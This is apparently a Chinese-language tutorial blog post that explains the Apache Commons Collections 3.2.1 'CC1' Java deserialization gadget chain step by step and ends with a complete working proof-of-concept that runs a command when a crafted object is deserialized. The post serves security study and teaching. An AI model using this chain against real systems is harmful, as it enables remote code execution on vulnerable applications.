库介绍

Apache Commons Collections 是一个扩展了Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。

作为 Apache 开放项目的重要组件,Commons Collections 被广泛的各种 Java 应用的开发,⽽正是因为在⼤量 web 应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

Commons Collection 组件的反序列化漏洞也称为 CC 链,自从该链被爆出来之后,就像打开了 Java 安全的新世界大门。在此之后,很多中间件都被爆出了反序列化漏洞。

环境搭建

基础环境搭建

  • CommonsCollections <= 3.2.1
  • java < 8u71 本环境使用的是 8u65
1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

JDK 源码准备

由于涉及到调试 Java 底层源码,因此我们需要下载相应的源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

解压以上 zip 文件,将 /src/share/classes目录下的 sun目录,复制到 jdk8u65 的安装目录下的 src 目录。

如果是 macos 电脑将 src.zip 文件解压之后放入即可。

将 src 目录加入到 sourcePath。

利用链分析

transform 入口

CC1 链中的源头是 org.apache.commons.collections.Transformer 接口,这个接口有一个 transform 方法。

查看该方法的实现处:

与本次反序列化有关的实现方法分别是:

org.apache.commons.collections.functors.InvokerTransformer

org.apache.commons.collections.functors.ChainedTransformer

org.apache.commons.collections.functors.ConstantTransformer

首先先看下 invokeTransformer#transform() 调用。

transform 接收一个对象,调用对象的 getClass() 方法获取Class,接着又调用了 getMethod 和 invoke 相关方法。典型的反射操作。

我们看到,以上方法操作的实参我们都可以通过实例化 invokeTransformer 类的构造器进行赋值,因此我们有了如下方式的命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class CC1Test1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// 获取 Runtime 类的实例化
Class<?> clazz = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtimeObj = getRuntimeMethod.invoke(null, null);

// 通过反射获取 exec 方法
InvokerTransformer invokeExec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});

// 调用 transform
invokeExec.transform(runtimeObj);
}
}

执行过程如下:

但是要想利用一个反序列化漏洞以上是不够的,需要找到某个可以序列化的对象,该对象中重写了 readObject() 方法,并且该方法中可以直接或简洁的调用 invokeTransformer#transform()方法。如下所示。

寻找 transform 方法的调用处

知道了可以通过实例化 InvokerTransformer 类调用 transform 执行命令,那么我们就需要知道哪里调用了 transform 方法。

发现在 transformedMap#checkSetValue方法调用了 transform,并且 transform 的形参为一个对象类型。

我们只需要让 valueTransformer 属性的值为 InvokerTransformer 即可完成调用,于是我们找一下 valueTransformer 属性的赋值处。

可以发现在该类的构造器方法中进行赋值,但是该构造器是受保护的,因此只能在当前类或者同一包(包含子包)下才可以调用,因此此处不能直接实例化。

那我们就继续寻找当前类有没有方法调用了受保护的构造器,发现在 decorate 方法中进行调用,并且接收赋值。

不仅如此,由于该方法是静态方法,可以直接通过 类名.方法名进行调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class CC1Test1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
// 获取 Runtime 类的实例化
Class<?> clazz = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtimeObj = getRuntimeMethod.invoke(null, null);

// 通过反射获取 exec 方法
InvokerTransformer invokeExec = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}
);

HashMap<Object, Object> hashmap = new HashMap<>();
hashmap.put("1","2");
TransformedMap.decorate(hashmap, null, invokeExec);
}
}

debug 一下就可以发现此时已经调用了 decorate 方法间接的调用了 TransformedMap 的受保护的构造器方法为 map 和 valueTransformer 属性进行赋值。

但是此时并没有执行 checkSetValue 方法,从而也没办法调用 invokeTransformer#transform()执行命令。所以我们还需要找到调用 checkSetValue方法的位置。

寻找 checkSetValue 方法的调用处

发现在 AbstractInputCheckedMapDecorator 类的子类 MapEntry 中的 setValue 方法调用了 checkSetValue。

这里我们尝试理解一下,首先看如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class CC1Test1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
// 获取 Runtime 类的实例化
Class<?> clazz = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtimeObj = getRuntimeMethod.invoke(null, null);

// 通过反射获取 exec 方法
InvokerTransformer invokeExec = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}
);

HashMap<Object, Object> hashmap = new HashMap<>();
hashmap.put("1","2");
Map<Object, Object> transformedMapDecorate = TransformedMap.decorate(hashmap, null, invokeExec);

for (Map.Entry entry : transformedMapDecorate.entrySet()) {
entry.setValue(runtimeObj);
}
}
}

于是就弹出了计算器。

关键在于如下几行代码:

1
2
3
4
5
6
7
HashMap<Object, Object> hashmap = new HashMap<>();
hashmap.put("1","2");
Map<Object, Object> transformedMapDecorate = TransformedMap.decorate(hashmap, null, invokeExec);

for (Map.Entry entry : transformedMapDecorate.entrySet()) {
entry.setValue(runtimeObj);
}

为什么通过调用 transformedMapDecorate.entrySet()方法返回每一个 Entry,然后通过 entry调用 setValue 方法就等于调用了 AbstractInputCheckedMapDecorator 类的子类 MapEntry 中的 setValue 方法

其实 TransformedMap 类继承自 AbstractInputCheckedMapDecorator,而 TransformedMap 类本身是没有 entrySet 方法的,而是调用的是父类的 entrySet 方法。

此时 parent 就是 TransformedMap。

接着继续来看这个 for 循环:

1
2
3
for (Map.Entry entry : transformedMapDecorate.entrySet()) {
entry.setValue(runtimeObj);
}

本质上 transformedMapDecorate.entrySet()其实调用的是其父类 AbstractInputCheckedMapDecorator 的 entrySet,经过上述分析,一顿初始化操作之后,就会执行到迭代器的方法 next() 方法。此处才是真正的实例化了 MapEntry。而 parent 的值还是 TransformedMap。

接着我们在循环体调用 entry.setValue(runtimeObj) 本质上执行的是 MapEntry 类下的 setValue 方法,也就是我们期望执行的。

至此,就弹出了计算器。

寻找 setValue方法的调用

前面我们知道通过 transformedMapDecorate.entrySet()获取到每一个 entry 之后调用 entry.setValue() 方法 就会弹出计算器

1
2
3
4
5
6
7
HashMap<Object, Object> hashmap = new HashMap<>();
hashmap.put("1","2");
Map<Object, Object> transformedMapDecorate = TransformedMap.decorate(hashmap, null, invokeExec);

for (Map.Entry entry : transformedMapDecorate.entrySet()) {
entry.setValue(runtimeObj);
}

因此我们需要找到一个遍历 Map 的场景,并且获得 entry 之后调用了 setValue 方法。

在 jdk8u65 的源码中 sun.reflection.annotation.AnnotationInvocationHandler 类中就存在如上场景,恰巧的是,刚好在 readObject 方法当中,因此我们的目标很明确,反序列化该类。

但是在反序列化之前,我们需要分析一下 readObject() 方法。

过两个 if 方法

首先需要将 memberValues 的属性值赋值为 transformedMapDecorate,参照上面的 for 循环代码。

我们来找一下 memberValues 属性的赋值部分,发现在该类中的构造器赋值,但是修饰符是默认的,不能被外部调用,故而只能通过反射进行调用构造器获取对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class CC1Test1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InstantiationException {
// 获取 Runtime 类的实例化
Class<?> clazz = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtimeObj = getRuntimeMethod.invoke(null, null);

// 通过反射获取 exec 方法
InvokerTransformer invokeExec = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}
);

HashMap<Object, Object> hashmap = new HashMap<>();
hashmap.put("1","2");
Map<Object, Object> transformedMapDecorate = TransformedMap.decorate(hashmap, null, invokeExec);

// 新加代码如下:
Class<?> clazz2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz2.getDeclaredConstructor(Class.class, Map.class);
// 关闭访问权限
constructor.setAccessible(true);
// 通过构造器获取对象实例
Object o = constructor.newInstance(Override.class, transformedMapDecorate);

// 序列化
serialize(o);
// 反序列化
unserialize("cc1.ser");
}

// 序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
oos.writeObject(obj);
}

// 反序列化
public static Object unserialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}

这里我们先继续反序列化,debug 一下看下流程:

memberValue.getKey() 获取了 Map 中第一个元素的 key 和 value,我们代码中的 key 是1,value 是 2。

接着从上一部获取的注解所有的成员变量中,查找有没有可以为 1的,如果没有则不进入 if 语句。很明显我们这里不进入 if 语句。

知道上述代码的逻辑,因此我们就需要将代码进行修改,找到一个带有成员变量的注解,这里使用 Target 注解。

刚好有一个成员变量为 value,因此我们需要将代码中的 hashmap 值做一下修改:

重新运行代码进行 debug,成功进入到两个 if 语句,但是现在遇到的问题就是 setValue 的值没办法控制。

解决 Runtime 无法序列化

Runtime 类本身是不能被序列化的,因为该类没有实现 Serializable 接口,但是其我们可以通过获取该类的 Class 对象即可完成序列化。

这里我们怎么获取 Runtime 类的实例化对象呢?我们来看下 Runtime 类的定义,这里将构造器私有化, 留出一个静态方法 getRuntime() 进行获取对象,确保 Runtime 始终只有一个对象,也就是单例模式。

这里我们通过反射调用 getRuntime 方法获取 Runtime 对象,接着调用其 exec 方法弹出计算器。

1
2
3
4
5
6
7
8
9
10
public class CC1Test2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// 直接反射调用执行 exec 弹出计算器
Class<?> clazz = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtimeObj = getRuntimeMethod.invoke(null, null);
Method exec = clazz.getMethod("exec", String.class);
exec.invoke(runtimeObj, "open -a Calculator");
}
}

接下来给他修改为通过 InvokerTransformer 间接调用的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class CC1Test2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// 直接反射调用执行 exec 弹出计算器
// Class<?> clazz = Class.forName("java.lang.Runtime");
Class<Runtime> runtimeClass = Runtime.class;

// Method getRuntimeMethod = clazz.getMethod("getRuntime");
// Object runtimeObj = getRuntimeMethod.invoke(null, null);
Object getRuntimeMethod2 = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(runtimeClass);
Object runtimeObj2 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod2);

// Method exec = clazz.getMethod("exec", String.class);
// exec.invoke(runtimeObj, "open -a Calculator");
Object getExecMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(runtimeObj2);
}
}

但是这里终归是三个方法,需要我们不断的嵌套,因为我们需要让上一个 transform 的返回值作为下一个 transform 的输入。

因此嵌套之后的代码如下:

1
2
3
4
5
6
public class CC1Test2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class)));
}
}

有没有一种方法帮我们做这件事情呢?

需求:我们需要让上一个 transform 的返回值作为下一个 transform 的输入。

答案是有的,刚好 ChainedTransformer 类的构造器接收一个 transform 数组,将其赋值给 iTransformers 属性。

接着调用其 transform 方法就能实现我们的需求。

因此就有了如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class CC1Test2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

// 调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 任何类的.class 返回的是该类对应的 Class 实例(即类对象)
chainedTransformer.transform(Runtime.class);
}
}

也弹出了计算器。

这类我们需要将以上代码加入到我们最初写的 payload 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class CC1Test1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InstantiationException {

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashmap = new HashMap<>();
hashmap.put("value","2");

// chainedTransformer.transform(Runtime.class);
Map<Object, Object> transformedMapDecorate = TransformedMap.decorate(hashmap, null, chainedTransformer);

Class<?> clazz2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz2.getDeclaredConstructor(Class.class, Map.class);
// 关闭访问权限
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMapDecorate);

// 序列化
serialize(o);
// 反序列化
unserialize("cc1.ser");

}

// 序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
oos.writeObject(obj);
}

// 反序列化
public static Object unserialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}

解决 setvalue 方法传入的值

此时还是无法在反序列化的时候弹出计算器,原因在于 setvalue 方法的值无法控制。

该 setValue方法在注解成员值类型不匹配时,用异常代理对象替换原 value,标记错误并保存上下文信息

这里来看 ConstantTransformer 类,有这么一个 transform 方法,无论你给他传入什么,最终返回的都是 iConstant。并且 iConstant 这个值我们可以通过该类的构造器进行控制。

添加关键代码:

添加它之后:ChainedTransformer 的调用链变为:

  • 第一步:ConstantTransformer.transform(proxy)输入参数是 proxy,但直接返回固定值 Runtime.class
  • 第二步:InvokerTransformer("getMethod", ...).transform(Runtime.class)此时输入参数是 Runtime.class(Class 对象),调用 Class.getMethod("getRuntime", null),正确获取 Runtime.getRuntime() 方法。
  • 后续步骤:后续的 InvokerTransformer依次调用 Method.invoke(...)Runtime.exec(...),最终执行命令。

最终 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class CC1Test1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InstantiationException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashmap = new HashMap<>();
hashmap.put("value","2");

// chainedTransformer.transform(Runtime.class);
Map<Object, Object> transformedMapDecorate = TransformedMap.decorate(hashmap, null, chainedTransformer);

Class<?> clazz2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz2.getDeclaredConstructor(Class.class, Map.class);
// 关闭访问权限
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMapDecorate);

// 序列化
serialize(o);
// 反序列化
unserialize("cc1.ser");

}

// 序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
oos.writeObject(obj);
}

// 反序列化
public static Object unserialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}

链子思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
AnnotationInvocationHandler类
-> readObject()
-> setValue()

TransformedMap类
-> MapEntry类
->checkSetValue()
-> setValue()

ChainedTransformer类
-> transform(Transformers[])
-> ConstantTransformer类
-> transform(Runtime.class)

InvokerTransformer类
-> transform(Runtime.class)
-> getClass()
-> getMethod()
-> invoke()
->exec()

参考链接